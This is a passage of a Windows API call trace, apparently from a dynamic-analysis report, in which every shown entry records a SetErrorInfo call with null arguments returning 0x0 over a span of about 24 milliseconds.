perrinfo=0x0) returned 0x0 [0062.187] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.187] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.187] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.187] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.187] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.187] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.187] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.187] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.187] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.187] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.188] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.188] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.188] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.188] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.188] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.188] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.188] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.188] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.188] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.188] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.188] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.188] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.188] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.188] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.188] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.188] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.188] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.188] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.188] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.188] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.189] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.189] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.189] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.189] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.189] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.189] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.189] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.189] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.189] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.189] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.189] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.189] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.189] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.190] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.190] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.190] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.190] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.190] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.190] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.190] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.190] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.190] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.191] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.191] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.191] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.191] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.191] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.191] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.191] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.191] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.191] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.191] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.191] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.191] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.191] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.191] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.192] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.192] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.192] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.192] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.192] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.192] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.192] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.192] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.192] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.192] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.192] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.192] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.192] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.192] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.192] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.192] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.192] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.192] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.193] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.193] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.193] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.193] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.193] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.193] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.193] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.193] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.193] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.193] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.193] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.194] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.194] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.194] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.194] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.194] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.194] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.194] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.194] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.194] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.194] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.194] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.194] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.194] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.194] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.194] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.194] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.194] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.195] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.195] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.195] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.195] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.195] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.195] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.195] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.195] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.195] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.195] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.196] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.196] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.196] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.196] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.196] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.196] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.196] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.196] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.196] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.196] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.196] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.197] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.197] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.197] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.197] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.197] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.197] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.197] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.197] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.197] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.197] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.197] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.197] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.198] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.198] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.198] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.198] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.198] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.198] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.198] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.198] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.198] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.198] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.198] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.198] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.198] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.198] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.199] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.199] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.199] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.199] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.199] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.199] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.199] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.199] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.199] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.199] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.199] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.199] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.199] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.199] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.199] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.199] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.199] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.199] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.199] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.199] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.200] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.200] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.200] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.200] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.200] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.200] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.200] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.200] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.200] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.200] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.200] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.200] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.200] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.200] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.200] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.200] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.200] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.200] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.200] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.200] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.200] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.200] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.200] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.201] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.201] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.201] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.201] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.201] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.201] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.201] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.201] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.201] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.201] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.201] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.201] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.201] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.201] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.202] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.202] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.202] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.202] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.202] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.202] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.202] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.202] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.202] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.202] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.202] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.202] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.202] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.203] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.203] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.203] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.203] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.203] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.203] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.203] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.203] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.203] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.203] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.203] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.203] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.203] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.203] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.203] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.204] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.204] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.204] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.204] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.204] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.204] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.204] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.204] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.204] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.204] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.204] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.204] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.204] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.204] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.205] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.205] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.205] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.205] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.205] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.205] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.205] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.205] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.205] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.205] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.205] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.205] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.205] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.205] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.205] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.206] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.206] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.206] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.206] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.206] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.206] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.206] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.206] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.206] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.206] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.206] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.206] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.206] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.206] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.206] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.206] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.206] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.206] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.206] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.207] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.207] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.207] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.207] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.207] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.207] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.207] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.207] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.207] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.207] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.207] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.207] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.208] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.208] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.208] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.208] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.208] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.208] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.208] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.208] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.208] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.208] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.208] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.208] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.208] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.208] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.208] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.208] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.209] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.209] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.209] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.209] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.209] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.209] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.209] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.209] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.209] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.209] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.209] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.209] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.209] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.209] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.209] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.209] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.210] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.210] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.210] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.210] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.210] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.210] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.210] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.210] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.210] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.210] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.210] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.210] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.210] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.210] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.210] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.210] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.210] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.210] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.210] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.211] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.211] SetErrorInfo (dwReserved=0x0, 